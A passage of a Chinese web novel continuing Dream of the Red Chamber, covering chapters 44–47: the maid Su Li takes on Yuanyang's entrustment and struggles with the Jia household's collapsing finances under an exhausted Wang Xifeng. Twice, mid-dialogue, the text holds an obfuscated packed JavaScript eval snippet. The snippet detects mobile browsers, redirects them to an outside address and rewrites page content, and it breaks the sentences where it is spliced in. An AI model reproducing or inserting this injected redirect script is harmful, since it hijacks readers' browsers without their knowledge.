鸳鸯住在贾母后院的一间小厢房里。苏璃进去时，只见她独自坐在窗下，发髻已重新梳拢整齐，用一根素银簪子绾着，身上换了件半旧的青缎夹袄，脸上泪痕已干，只眼圈还有些红肿，神色却异常平静，甚至带着一种尘埃落定后的漠然。 “璃姑娘来了，坐。”鸳鸯的声音有些沙哑，却还算平稳。 苏璃依言坐下，轻声道：“姐姐找我？” 鸳鸯抬眼看着她，目光锐利而疲惫：“今日的事，你都看见了。” 苏璃点点头。 “我叫你来，没别的事。”鸳鸯缓缓道，手指无意识地摩挲着腕上一只褪了色的银镯子，“只是有几句话，想托付你。” 苏璃心头一凛：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987314|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐请讲。” “我今日当着老太太、太太、奶奶姑娘们的面，发了那样的毒誓，这辈子，是绝了嫁人的念想了。”鸳鸯的声音很轻，却字字清晰，“我只求跟在老太太身边，尽心服侍，了此残生。可我也知道，经了今日之事，大老爷、大太太那边，算是彻底得罪了。老太太在，我自然无事；可老太太年事已高，万一……万一有个山高水低，我这无依无靠的，只怕……” 她顿了顿，眼中闪过一丝深切的悲凉与决绝：“我是不怕死的。可我若不明不白地死了，或是被胡乱配了人，我一生的名声，我今日的志气，岂不都成了笑话？所以，我今日叫你来，是想请你……日后若有机会，在我力不能及、或遭了暗算之时，能看在同是伺候过老太太的份上，将我的处境，我的结局，设法透露给二奶奶，或者……林姑娘、宝二爷知道。不求他们救我，只求给我一个明白，留一点身后之名。” 苏璃听着，心中震动不已。鸳鸯这是在做最坏的打算，在托付“后事”！她将这份沉重的信任，给了自己这个并不算亲近的旧日同伴。 “姐姐何出此言？老太太定能长命百岁……” “不必安慰我。”鸳鸯打断她，露出一丝苦涩的笑意，“这府里的事，我比你清楚。烈火烹油，鲜花着锦，底下早已是空的。我今日抗婚，撕破了脸，也把自己逼上了绝路。我不后悔，只是……总要留个后手。我看得出来，你是个心里有数、行事稳妥的，所以才贸然相托。” 她看着苏璃，目光灼灼：“你也不必立刻答应。兹事体大，牵连甚广，你若不情愿，我绝不怨你，只当今日未曾说过这话。” 苏璃沉默了。她知道答应下来意味着什么，可能卷入更深的漩涡。但看着鸳鸯那决绝而悲凉的眼神，想到她今日宁折不弯的刚烈，同是身为女子、身处这深深庭院的无奈与挣扎，一股热血与酸楚涌上心头。 “姐姐信我，我必不负所托。”苏璃听见自己的声音，清晰而坚定，“只要我力所能及，定不会让姐姐不明不白。” 鸳鸯盯着她看了许久，眼中渐渐泛起泪光，但很快又被她逼了回去。她深吸一口气，从枕下摸出一个小小的、不起眼的灰布荷包，递给苏璃：“这个，你替我收着。不是什么值钱东西，只是我的一点念想。若我真有……那一天，你设法将它交给老太太，或者，交给一个明白人。” 苏璃接过荷包，入手很轻。她没有打开看，郑重地收入怀中。“姐姐放心。” 鸳鸯似乎了却了一桩心事，神色松弛了些，又恢复了几分往日的精明利落：“今日之事，看似是冲着我，实则是冲着老太太的体己，冲着这府里的风向。你如今在二奶奶跟前，又管着账，眼睛要亮些，耳朵要灵些。这府里……怕是要不太平了。” 苏璃心中凛然，点头道：“我明白，多谢姐姐提点。” 从鸳鸯处出来，天色已晚。寒风卷着落叶，在廊下打着旋。苏璃怀中揣着那只轻飘飘的荷包，却觉得有千钧之重。鸳鸯的抗争，如同一面镜子，映照出这深宅大院中女子命运的残酷与无奈，也让她更加看清了这华厦将倾前的裂痕与危机。 而鸳鸯的托付，更像是一道无声的枷锁，将她与这座府邸、与这些人的命运，更紧地捆绑在一起。前路，似乎更加迷雾重重，也似乎……隐约有了一点必须守护的东西。她抬头望了望晦暗的天空，深深吸了一口冰冷的空气，朝着账房的方向，稳步走去。那里，还有无数的账册与秘密，在等待着她去厘清，去面对。 44. 凤姐的依赖 鸳鸯抗婚的风波，如同在荣国府这潭深水中投下巨石，涟漪久久难平。 贾母虽以雷霆之怒暂时压下了贾赦的妄念，保住了鸳鸯，但长房与二房之间、嫡母与长子之间那层本就脆弱的窗户纸，算是彻底捅破了。 府中上下，表面上噤若寒蝉，私下里却暗流涌动，人心惶惶。一种大厦将倾前的压抑与不安，弥漫在亭台楼阁之间。 经此一事，贾母对鸳鸯更是倚重，几乎寸步不离，连带着对凤姐这个能干的孙媳妇，也多了几分依赖与安抚。而凤姐，在经历了省亲的耗尽心血、秦可卿丧事的奢靡亏空、以及此番鸳鸯事件的惊心动魄之后，身心俱疲，那争强好胜的心气儿，似乎也被磨去了不少，眉宇间常带着一股掩饰不住的憔悴与力不从心。 然而，府中庞大的开销、各处嗷嗷待哺的窟窿，却不会因主子的疲惫而有丝毫减少。年关刚过，各处庄子的管事、铺面的掌柜便陆续上门，回禀上年收支，支取新年用度。账房再次成了最繁忙、也最令人窒息的地方。 这日，苏璃正对着一摞各庄子报上来的歉收减产的呈文发愁，林之孝家的又愁眉苦脸地进来，低声道：“璃姑娘，库上实在支应不开了。后儿要发放各房的月钱，还有几处要紧的采买，账上现银不足千两，这可如何是好？” 这已是本月第三次了。苏璃揉了揉胀痛的额角，心中一片冰凉。她早已将府中财政的窘境看得清清楚楚，但每一次听到“支应不开”这几个字，仍觉压力如山。 “金陵老宅那边，年前催的银子，还没消息吗？”她问，声音带着一丝不易察觉的疲惫。 林之孝家的摇头：“信使前日回来，说那边年景也不好，收上来的租子，勉强够那边府里开销，实在挪腾不出多少来。远水救不了近火啊。” 苏璃沉默片刻。她知道，凤姐的体己已贴补了不少，再典当东西，传出去更不好听。向银号借贷，利息滚利息，已是沉重的负担。如今，似乎真的到了山穷水尽的地步。 “我去回二奶奶。”她起身，拿起那几份庄子上请求减免租子的呈文，以及林之孝家刚报上来的支取单子，往凤姐正房走去。 凤姐歪在暖炕上，脸色蜡黄，眼下乌青浓重，正由平儿轻轻揉着太阳穴。见苏璃进来，她勉强抬了抬眼，声音沙哑：“什么事？” 苏璃将账目支绌的情况委婉回了，又将庄子上请求减免的呈文递上。“奶奶，庄子上年景确实不好，若一味催逼，只怕庄户离心，来年更无收成。是否……酌情减免一些，也好让他们有条活路，来年方能尽心耕种。” 凤姐接过呈文，草草扫了几眼，便烦躁地扔在炕几上，冷笑道：“减免？说得轻巧！府里上下几百口子人，张着嘴等饭吃，哪里不用银子？减了他们的，亏空从哪里补？难道都让我拿体己去填这无底洞吗？”她越说越气，胸口剧烈起伏，一阵咳嗽。 平儿忙递上温水，轻声劝道：“奶奶别动气，仔细身子。璃妹妹也是为府里长远计。” 凤姐喘了口气，疲惫地靠在引枕上，闭目半晌，才无力地摆摆手：“罢了罢了，你看着办吧，能减则减，不能减的，也让他们写下欠条，日后再补。总不好逼出人命来。”她顿了顿，睁开眼，目光复杂地看向苏璃，“至于月钱和采买的银子……我那里还有两箱子没上账的古董玩器，你让平儿找出来，还是老法子，悄悄拿去兑了应急罢。” 又是典当！ 苏璃心中一涩凤姐昔日何等要强精明，如今竟被银钱逼得一次次典当体己，这其中的辛酸与无奈，外人又如何得知？ “是。”她低声应下，心中却无半分轻松。这不过是饮鸩止渴。 “如今这府里，”凤姐忽然幽幽开口，像是自言自语，又像是对苏璃说，“外面看着轰轰烈烈，内里早已是千疮百孔。进项一年少似一年，开销却只见多不见少。省亲、丧事，哪一件不是银子堆出来的？如今倒好，寅吃卯粮，拆东墙补西墙，这日子……真不知何时是个头。”她语气中的灰心与茫然，是苏璃从未听过的。 平儿在一旁悄悄抹泪。苏璃垂首默立，心中亦是波澜起伏。凤姐的依赖，何尝不是一种沉重的负担？她将自己视为心腹，将最棘手的财务难题交给她，是信任，也是将她牢牢绑在这艘沉船上的枷锁。 “奶奶且宽心，”苏璃斟酌着词句，轻声道，“如今艰难是暂时的，待开了春，庄子上有了收成，铺面里生意好些，总能周转开来。眼下最要紧的，是节流。各房用度，还需再紧一紧，一些不必要的排场、应酬，能省则省。再者……外面的几处庄子、铺子，管事的人是否得力？进项为何连年减少？或许……也该派人好好查一查账了。” 凤姐听了，眼中闪过一丝微弱的光，但随即又黯淡下去：“查账？谈何容易！那些庄头铺主，哪个不是积年的老狐狸？背后又不知牵扯着哪房哪院的体面？一动便是是非。节流……哼，你当我不想节？可这府里的体面还要不要？老太太、太太们跟前如何交代？琏二爷在外头的应酬如何缩减？难啊！” 她长叹一声，挥挥手：“这些日后再说罢，先过了眼前这关。你去和平儿料理典当的事，务必做得隐秘些。” “是。”苏璃知道多说无益，便与平儿一同退了出来。 与平儿去库房清点那两箱古董时，平儿低声道：“妹妹，你也瞧见了，奶奶如今是真难。身子又不好，心里又急，偏生府里事多，银钱上又……唉，咱们能帮衬的，就多帮衬些吧。” 苏璃点头：“姐姐放心，我省得。”她看着那些精美却冰冷的玉器、瓷器，心中暗叹，这些死物，又能支撑这庞大的开销几时？ 典当之事由平儿亲自去办，换回的银子勉强应付了月钱和几笔紧急采买。但府中的窘迫，已如捂不住的脓疮，开始散发出腐烂的气息。各房的份例用度暗中削减，大厨房的伙食质量下降，连主子们偶尔想添个菜、要点心，也常听到“库里没有”、“需现买”的推脱之词。下人们怨声载道，主子们也开始感到不便。 赵姨娘逮着机会便在王夫人跟前抱怨菜蔬不新鲜，月钱短了分量。王夫人虽不说什么，但眉头也越皱越紧。贾琏琏在外头应酬，支取银子越发不顺，回来便与凤姐拌嘴。连宝玉屋里的丫头们，也 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“你等等。”凤姐看着她，目光中带着一种复杂的情绪，有疲惫，有依赖，还有一丝不易察觉的……审视。“苏璃，你跟我这些日子，府里的事，你也看得明白。如今这光景，你说……该如何是好？” 苏璃心中一震。凤姐这是在向她问计？这已超出了寻常丫鬟的范畴。她谨慎答道：“奴婢愚见，开源节流，仍是根本。节流方面，需得奶奶下决心，立下严规，各房一体遵守，即便有些怨言，也需顶住。开源……则更需从长计议。外面的庄子铺面，或许……真该下决心整顿一番了。换上一两个得力可靠的管事，杀一儆百，或可见效。” 凤姐沉默良久，苦笑道：“立规？整顿？谈何容易！牵一发而动全身。罢了，你先去吧。” 苏璃退了出来，知道凤姐虽有心动，但顾虑太多，一时难下决断。如今的凤姐，已失了往日的杀伐果断，更像是一个在惊涛骇浪中勉力支撑的疲惫舵手。 然而，树欲静而风不止。没过两日，忽然从东府传来消息，说是贾珍因在外头放印子钱、包揽词讼等事，被御史参了一本，虽未立刻问罪，但也惊动不小，正在四处打点，焦头烂额。 消息传到西府，王夫人、凤姐等都吓了一跳。贾珍行事荒唐，她们素有耳闻，但闹到被御史参劾的地步，还是头一遭。这无疑是雪上加霜！ 凤姐闻讯，当时就差点晕过去，被平儿扶住。她脸色惨白，喃喃道：“祸事来了……真是祸事来了！” 苏璃得知消息，心中更是沉到了谷底。贾珍被参，这只是个开始！官场上的风波，最是凶险，一旦被盯上，整个贾府都可能被牵连进去！而府中财政早已空虚，如何经得起这般折腾？ 她感到，那一直悬在头顶的利剑，终于开始缓缓落下了。而凤姐这棵她一直倚仗的大树，在内外交困之下，已是摇摇欲坠。 自己，该怎么办？ 是继续跟着这艘破船沉没，还是……尽早谋划脱身？那个玄衣冷峻的身影，再次浮现在她脑海中。水澈……他是否早已预见到了今日？他指引她发现的那些秘密，又在这场即将到来的风暴中，扮演着怎样的角色？ 夜色深沉，苏璃独坐灯下，账册上的数字模糊不清。 45. 积怨暗生 贾珍被御史参劾的消息，如同腊月里的一声惊雷，虽不猛烈，却足以让整个宁荣二府上下，从主子到奴才，都感到一股刺骨的寒意。虽未立刻问罪，但“被御史盯上”这五个字，已足以让这钟鸣鼎食之家颜面扫地，更让那些深知内情的人心惊胆战。 东府那边自是鸡飞狗跳，贾珍称病不出，尤氏急得团团转，贾蓉四处奔走打点。西府这边，王夫人捻着佛珠的手快了几分，凤姐更是愁云惨淡，连着几日食不下咽。府中气氛空前压抑，往日里那些说笑打闹声都消失了，仆役们走路踮着脚尖，说话压低了嗓子，唯恐触了主子的霉头。 然而，表面的沉寂之下，是更深、更汹涌的暗流。危机当前，非但未能同舟共济，反而激化了积压已久的矛盾与怨怼。 首当其冲的，便是凤姐。她掌着家，如今府中银钱支绌，进项寥寥，外面又有贾珍这桩随时可能引爆的祸事，压力如山。她不得不将“节流”二字执行得更加严苛。各房月钱虽未明着克扣，但发放时常有拖延；份例用度一减再减，连老太太屋里的点心都换了寻常花样；大厨房的采买更是锱铢必较，惹得管事的婆子们怨声载道。 这下，便给了早就对凤姐不满的人以口实。赵姨娘逮着机会便在王夫人跟前哭穷：“太太瞧瞧，如今这日子可怎么过？环儿正是长身子的时候，连碗像样的燕窝粥都难得见了！月钱拖了又拖，莫不是都填了那无底洞去了？”话里话外，直指凤姐管家不力，中饱私囊。 邢夫人也时不时在贾母面前“无意”提起：“如今外头风声紧，珍哥儿那边还不知怎样，咱们府里用度也该收敛些。只是苦了老太太，连日常用度都减了，叫我们做儿媳的心里如何过得去？”看似关心，实则将“用度减了”的责任推给凤姐，暗示她苛待长辈。 连底下有些体面的管家媳妇，如周瑞家的、来旺家的，见凤姐势颓，也渐渐阳奉阴违起来。派下去的差事推三阻四，采买报价虚高，对账目含糊其辞。凤姐察觉了，发作了一两个，却更引得人心浮动，背后议论纷纷，说琏二奶奶如今是“急了乱咬人”。 这一日，发放月钱的日子又到了，账上银子却还未凑齐。林之孝家的急得嘴角起泡，来找苏璃商议：“璃姑娘，这月钱再拖下去，底下人怕是要闹将起来！你看这可如何是好？” 苏璃看着账册上那几个可怜的数字，心中叹息。她早已将能挪用的款项算了又算，仍是捉襟见肘。“林妈妈，库上还能挤出多少？” “挤干了也就三四百两，还不够一半！”林之孝家的跺脚道，“二奶奶那边……可还有法子？” 苏璃沉默。凤姐的体己恐怕也贴补得差不多了，难道又要典当？可府里接连典当东西，消息岂能瞒得住？一旦传开，便是天大的笑话。 她正沉吟间，忽见小丫鬟慌慌张张跑进来：“璃姑娘，不好了！大厨房那边，柳嫂子和李婆子为着采买银子的事吵起来了，差点动了手！平儿姐姐让您快去看看！” 苏璃心中一凛，忙起身赶往大厨房。还未进门，就听见里面吵嚷声一片。管采买的柳嫂子叉着腰，唾沫横飞：“……每日里就这点银子，又要新鲜又要便宜，你当我是神仙不成？如今市面上什么不涨价？你们只管张着嘴等吃，银子从哪里来？” 负责灶上的李婆子也不甘示弱，指着柳嫂子的鼻子骂：“放你娘的屁！前儿我亲眼见你侄儿往家拎了半扇猪肉！银子都进了你们这些黑心肝的腰包了吧？克扣我们的嚼用，倒养肥了自家人！” 底下帮厨的、洗菜的婆子媳妇们也七嘴八舌，有的帮腔，有的劝架，乱成一团。见苏璃进来，声音才小了些，但个个脸上都带着愤愤不平之色。 柳嫂子见到苏璃，如同见了救星，忙上前诉苦：“璃姑娘，您来评评理！如今采买艰难，奶奶又卡得紧，巧妇难为无米之炊啊！她们倒好，反咬一口！” 李婆子也抢着道：“姑娘明鉴！咱们灶上可是实打实的辛苦，如今连油盐酱醋都短了分量，这饭还怎么做？” 苏璃沉着脸，目光扫过众人，冷声道：“都闭嘴！吵吵嚷嚷，成何体统！”她声音不高，却自有一股威严，众人顿时噤声。 她先看向柳嫂子：“柳嫂子，采买艰难，大家皆知。但银子短了，更需精打细算，账目清楚。你若觉得银子实在不够，可列了单子来回我，我去禀奶奶，而不是在此吵闹。” 柳嫂子嘟囔道：“回了几次了，总说等等，等等，可这日子能等吗？” 苏璃不理她，又看向李婆子：“李妈妈，灶上的辛苦，奶奶自然也晓得。但如今府中艰难，大家需得同舟共济。若有克扣短少，你可拿证据来回话，空口无凭，污人清白，便是你的不是！” 李婆子张了张嘴，没说出话。 苏璃缓了缓语气，对众人道：“如今外头有事，府里艰难，大家更该体谅主子，齐心合力渡过难关。吵能吵出银子来吗？只会让外人看了笑话！今日之事，到此为止。月钱，奶奶正在设法，绝不会短了大家的。都散了，该做什么做什么去！” 众人见苏璃处置得公道，又抬出“外头有事”、“奶奶设法”，也不敢再闹，悻悻散去。柳嫂子和李婆子也互相瞪了一眼，各自忙活去了。 处理完厨房的纠纷，苏璃心情更加沉重。这只是冰山一角。府中怨气已如干柴，一点火星就能燃成燎原之势。而凤姐，正是这怨气的焦点。 回到账房，平儿也在，脸色凝重：“妹妹，方才的事你也见了。如今府里人心浮动，再这样下去，只怕……” 苏璃点头：“我明白。月钱的事，姐姐看……” 平儿叹口气：“奶奶方才又让我开箱子，找了两件没上账的首饰，让我明日悄悄拿去当了。可这……终究不是长久之计啊。” 正说着，外面小丫鬟报：“奶奶让平姑娘和璃姑娘过去一趟。” 两人忙起身过去。凤姐歪在炕上，眼下乌青更重了，见她们进来，有气无力地问：“厨房怎么回事？” 平儿简单回了。凤姐听完，冷笑一声：“一个个都反了！打量着我不敢动她们是不是？”她话虽狠，语气却透着虚浮。 “奶奶息怒，”平儿劝道，“如今是非常之时，还需以安抚为上。” 凤姐疲惫地闭上眼，半晌，才道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987316|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月钱的银子，我让来旺家的明日再去催催城外交租的庄子，看能收回多少。你们……再紧一紧各房的用度，尤其是……东府那边，近日开销也大，能省则省吧。”她这话，已是将节流的矛头，隐隐指向了宁国府。 苏璃心中一动。东西两府虽同气连枝，但财务向来独立。如今贾珍出事，用度必然更大，西府这边还要替他们节省？只怕尤氏那边第一个不答应。凤姐此举，怕是又要惹来是非。 果然，没过两日，尤氏便借着给贾母请安的机会，话里有话地说：“……如今我们那边艰难，珍大爷又病着，各处打点，银子像水似的淌出去。幸得弟妹这边帮衬着，紧着这边，宽着我们那边，真是感激不尽。”说罢，还拿起帕子拭了拭并不存在的眼泪。 贾母听了，脸色便有些不好看，看了王夫人一眼。王夫人只垂着眼捻佛珠，并不接话。 凤姐在一旁，脸上红一阵白一阵，强笑道：“大嫂说哪里话，一家人不说两家话。如今艰难，自是该互相帮衬。” 话虽如此，但东西两府之间的嫌隙，却因此更深了一层。底下人更是传言，琏二奶奶这是要卡东府的脖子，见死不救。 这些风言风语，自然也传到了贾赦、邢夫人耳中。贾赦本就因鸳鸯之事对凤姐不满，如今更是恼火，在屋里骂骂咧咧：“……一个媳妇家，掌着家，倒管到兄长头上来了！成何体统！”邢夫人更是时不时在贾母面前给凤姐上眼药。 凤姐内外交困，焦头烂额，那争强好胜的心气儿被磨得所剩无几，人眼看着憔悴下去。对苏璃，她也越发依赖，几乎大小账目都要经她的手，时常将她叫到跟前商议，言语间竟有几分将她视为臂膀的意味。 这日对账完毕，凤姐揉着额角，忽然对苏璃道：“如今这府里，也就你和平儿还能替我分忧了。外面庄子铺子的事，我总不放心别人。你心思细，账目清，日后……外面那些账，你也多留心些，有什么不妥，立刻来回我。” 苏璃心中一震。凤姐这是要将外部财政的监管权，也逐步交到她手上？这信任背后，是何等沉重的责任与风险！她连忙垂首道：“奶奶信重，奴婢感激不尽。只是奴婢年轻识浅，只怕……” “不必过谦。”凤姐打断她，目光复杂地看着她，“这府里的事，你也看得明白。如今是能用一人是一人。你……很好。” 从凤姐房中出来，苏璃心情复杂。凤姐的依赖，如同温暖的枷锁，让她在这艘沉船上越陷越深。她得到权力，却也背负了更多的责任和……仇恨。周瑞家的、来旺家的那些人，看她的眼神已不仅仅是嫉妒，更带上了冰冷的敌意。 她知道，积怨已如地火，在看不见的地方奔涌。只等一个合适的契机，便会喷薄而出，将眼前这虚假的平静烧得粉碎。而她，这个被凤姐推至前台的“算账丫头”，很可能成为第一个被吞噬的目标。 夜色中，苏璃独自走回小屋，寒风刺骨，她却觉得心头更冷。她摸了摸怀中那只鸳鸯托付的、轻飘飘的荷包，又想起水澈那深不见底的眼眸。前路茫茫，危机四伏，她这只小船，该如何在这惊涛骇浪中，找到那一线生机？ 46. 风雨欲来 贾珍被参的阴影，如同冬日里挥之不散的阴霾，沉沉压在宁荣两府上空。虽经多方打点，暂时压了下去，未起大波澜，但那股“山雨欲来”的窒息感，却已深深浸入每个人的骨髓。府中往日那种慵懒奢靡的气息淡了许多，取而代之的是一种小心翼翼的紧张和压抑的寂静。 凤姐的病，断断续续，总不见好。脸色蜡黄，时常心口疼，夜里睡不安稳。请医问药，效果甚微。平儿私下对苏璃叹气，说奶奶这是“心病”，府里千头万绪的烦难，银钱上的窘迫，加上各方的怨气，生生将铁打的人熬干了。凤姐自己也似灰了心，往日那股雷厉风行的锐气消磨殆尽，处理家务时常显得力不从心，更多时候是歪在炕上，由平儿和苏璃禀事，她只闭目听着，半晌才懒懒地吩咐一句“依例办罢”或“你们瞧着处置”。 这种“放权”，看似是对平儿和苏璃的信任，实则是无奈之举。然而，这却将苏璃更进一步推到了风口浪尖。如今府内大小账目、各房用度支取、乃至外面一些田庄铺面送来的账册，凤姐都交由苏璃初步核算、拿出章程，她只最后过目画押。苏璃手中掌握的，已是荣国府财政运转的核心机密。这份“倚重”，带来的不仅是权力，更是无数双嫉恨、猜疑的眼睛。 周瑞家的、来旺家的等积年管事媳妇，如今见了苏璃，表面虽还客气，那笑容却未达眼底，言语间常带着不易察觉的刺探。连贾琏琏身边的小厮兴儿、隆儿等人，来支取银钱时，若被苏璃按规矩盘问得细了，也常面露不忿，背后难免有些“仗着奶奶势，拿捏爷们”的闲话。 这日，贾蔷来回，说是采买古董玩器的一笔尾款，对方催得急。苏璃核验单据，见数目不小，且物品名目含糊，便道：“蔷哥儿，这笔银子数目大，采买的又是古董玩器，价值难以估量。按新立的规矩，需得有对方铺子开的明细单子，注明物品、成色、估价，并经手人画押，方可支取。烦请你补了单子来。” 贾蔷如今管着采买戏班、置办器玩等事，手面大，油水足，何时被一个丫鬟这般拦过？当下便拉下脸来：“璃姑娘，你这是信不过我？这单子是珍大爷亲自过目定的，难道还有假不成？如今等银子急用，耽误了事，你担待得起吗？” 苏璃神色平静，语气却不容置疑：“蔷哥儿言重了。不是信不过，是规矩如此。珍大爷定了事，自然无差。但支取银子，需手续齐全，账目清楚，这是二奶奶立的章程，免得日后核对起来麻烦。还请你体谅。” 贾蔷碰了个软钉子，心中恼火，却又不好发作，只得悻悻道：“好，好！我这就去补单子！真是越来越麻烦了！”说罢，拂袖而去。 平儿在一旁听了，低声道：“如今这府里，个个都像炮仗，一点就着。妹妹也需婉转些。” 苏璃苦笑：“姐姐，不是我不婉转。只是这银子出去若不清不楚，日后对不上账，便是天大的麻烦。奶奶如今身子不好，我们再不把紧些，只怕窟窿越来越大。” 平儿叹道：“我何尝不知？只是……唉，如今是里外不是人。” 正说着，忽见林之孝家的急匆匆进来，脸色发白，也顾不得平儿在场，压低声音对苏璃道：“璃姑娘，不好了！方才城西‘恒舒典’的大掌柜悄悄使人来传话，说……说咱们府上年前借的那笔银子，下月就到利钱了，让咱们早做准备。还……还暗示说，如今市面上银根紧，若到期还不上，只怕……只怕下次再借就难了。” 苏璃心中猛地一沉。“恒舒典”那笔借款，数额巨大，利息高昂，是填补省亲亏空和府中日常开销的主要来源之一。若这笔钱断了流，后果不堪设想！ “来人还说了什么？”她急问。 “还说……还说听闻东府珍大爷的事，银号东家有些……有些顾虑。”林之孝家的声音发颤。 苏璃的手心沁出冷汗。果然！贾珍的事，已经开始影响贾府的信用了！银号是最势利的，一旦觉得风险太大，抽贷是必然的。这可是要命的事！ “奶奶知道了吗？”她强自镇定。 “还没敢回。奶奶今日心口又疼得厉害，刚吃了药睡下。”林之孝家的道，“姑娘，这可如何是好？下月利钱就不是小数，如今账上……哪里凑得出来？” 苏璃深吸一口气，脑中飞速旋转。典当？府里能当的值钱物件不多了，且频繁典当，消息泄露，更是雪上加霜。催租？庄子上收成不好，硬催也催不上来多少。难道……真要动用那些“不能动”的银子？可那些钱牵扯更深，动辄便是杀身之祸！ “林妈妈，你先别急。”苏璃稳住心神，“此事关系重大，需得从长计议。你让来人先回去，就说府里知道了，到期前必定设法凑齐。万万不可声张！” “是，是，我明白。”林之孝家的连连点头，忧心忡忡地去了。 平儿在一旁听得脸色发白，抓住苏璃的手：“妹妹，这……这可怎么好？若是银号断了借贷，府里可就……可就转不动了！” 苏璃反手握住她冰凉的手，低声道：“姐姐别慌，天无绝人之路。总会有法子的。此事暂且不要惊动奶奶，等她身子好些再议。” 话虽如此，苏璃自己心中也是一片冰凉。她知道，最大的危机，已经露出了狰狞的一角。银根一断，贾府这架庞大的机器，立刻就会停摆。而这一切，才刚 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就在苏璃焦头烂额之际，又一个坏消息接踵而至。这日，王夫人屋里的玉钏儿悄悄来找平儿，说太太这两日心情不好，为着宫里头元春娘娘派人送出来的消息，说是近来宫中用度也减了，各宫娘娘的份例都短了些，让家里日后送东西进去，要更加“俭省”些，免得招眼。 消息传到凤姐耳中，凤姐当时就愣住了，半晌，惨然一笑：“好，好……宫里也艰难了。真是……树倒猢狲散，墙倒众人推。”说罢，又是一阵猛咳。 苏璃在一旁听着，心直往下沉。宫中的信号，意味着最大的靠山也开始不稳了。贾府真正的寒冬，就要来了。 夜色深沉，苏璃独自坐在冰冷的账房里，对着摇曳的烛火，只觉得前所未有的疲惫与孤独。账册上的数字模糊不清，仿佛都在嘲笑她的无力。她仿佛能听到，这座繁华府邸的根基，正在发出不堪重负的、细微的碎裂声。 她下意识地摸了摸袖中那本厚厚的、记录着无数秘密的花样子册子。那里面，有暖香坞小库房里的地契借据，有她暗中搜集的物价商路信息，也有水澈那本《九章算术注》里隐秘的留言。这些，是她唯一的依仗和渺茫的希望。 可是，面对这即将到来的滔天巨浪，这点微末的筹划，又能起什么作用呢？水澈……他此刻在做什么？他是否早已预见到了这一切？他留下的线索，究竟是援手，还是……另一个更深的陷阱？ 窗外，风声呜咽，仿佛冤魂的哭泣。苏璃吹熄了灯，将自己埋入无边的黑暗里。她知道，最后的时刻，快要到了。而她必须在这风雨到来之前，做出抉择。是随波逐流，与这艘破船一同沉没，还是……冒险一搏，抓住那根可能救命、也可能致命的稻草？ 长夜漫漫，前路茫茫。 47. 遇险 恒舒典催债的消息，如同一把悬在头顶的利剑，让苏璃寝食难安。她知道，这仅仅是第一道催命符，若不能及时应对，后续的连锁反应足以将整个贾府拖入深渊。凤姐病体支离，平儿忧心忡忡，贾琏指望不上，王夫人深居简出，整个荣国府的财政重担，无形中竟压在了她这个未及双十年华的丫鬟肩上。 绝境逼人。苏璃不得不将目光投向了她一直谨慎避开的领域——暖香坞小库房里的那些“黑钱”和隐秘资产。那是贾府最后的不为人知的底牌，也是极度危险的禁区。水澈的指引曾让她窥见一斑，如今，她需要更多的信息，来判断这些“黑钱”的规模、流向，以及……是否有可乘之机。 她不敢轻举妄动直接去动那些东西，那无异于自寻死路。但她可以借助兼管园账的身份，以清点核对为名，更频繁地出入大观园，暗中观察、记录，甚至尝试接触可能知情的人。 这日午后，她寻了个由头，再次来到大观园。时值春寒料峭，园中景致萧索，看守的婆子也懒怠，大多躲在屋里取暖。苏璃带着小丫鬟，照例从几处主要楼阁开始清点，一路慢慢向东南角的暖香坞靠近。 她特意走得慢，留心观察着沿途。园子比省亲刚结束时更加冷清了，许多精巧的陈设蒙上了薄灰，池水也显得有些浑浊。行至暖香坞附近，她让小丫鬟去不远处“蘅芜苑”取一件遗漏的账册，自己则独自走向那小库房。 库房依旧门扉虚掩，寂静无声。苏璃心跳微微加速，她并非要进去，而是想看看近日有无异常痕迹。她装作不经意地绕着库房走了一圈，目光扫过门锁、窗户、墙角。锁仍是那把锈蚀的旧锁，虚挂着；窗户紧闭，窗纸有些破损；墙角堆着些枯枝败叶，似乎与上次来时并无二致。 她正暗自观察，忽听身后传来一声轻咳。苏璃心中一凛，迅速转身，只见一个穿着灰布袄子、身形佝偻的老婆子，不知何时出现在不远处的一丛枯竹后面，正眯着眼打量她。那婆子看着眼生，不是平日看守园子的那几个。 “这位姑娘，在这儿转悠什么呢？”婆子声音沙哑，眼神却有些锐利。 苏璃定了定神，从容道：“我是奉二奶奶之命，兼管园中器物账目的苏璃。今日来清点核对，路过此处。妈妈是？” 婆子脸上的警惕似乎放松了些，露出点笑容：“原来是璃姑娘。老身是后角门上夜的张婆子，这几日替老王头的班，顺便帮着看看园子。姑娘是查账啊，辛苦辛苦。”她嘴上说着，脚步却未动，依旧站在那里，目光似有若无地扫过那间小库房。 苏璃心中警铃微作。后角门上夜的婆子，怎会跑到园子深处来“顺便看看”？且这婆子眼神闪烁，不似寻常粗使仆役。她面上不露声色，只道：“原是如此。妈妈也辛苦。我这边清点完了，这就回去。”说着，便转身欲走。 “姑娘留步。”张婆子忽然叫住她，慢悠悠地走过来，压低了声音，“姑娘既管着园账，可知道这暖香坞旁边的小库房里，都堆些什么？” 苏璃心头一紧，面上却疑惑道：“不过是一些旧家具、废弃的幔帐罢了，账上都有记载。妈妈何故问起？” 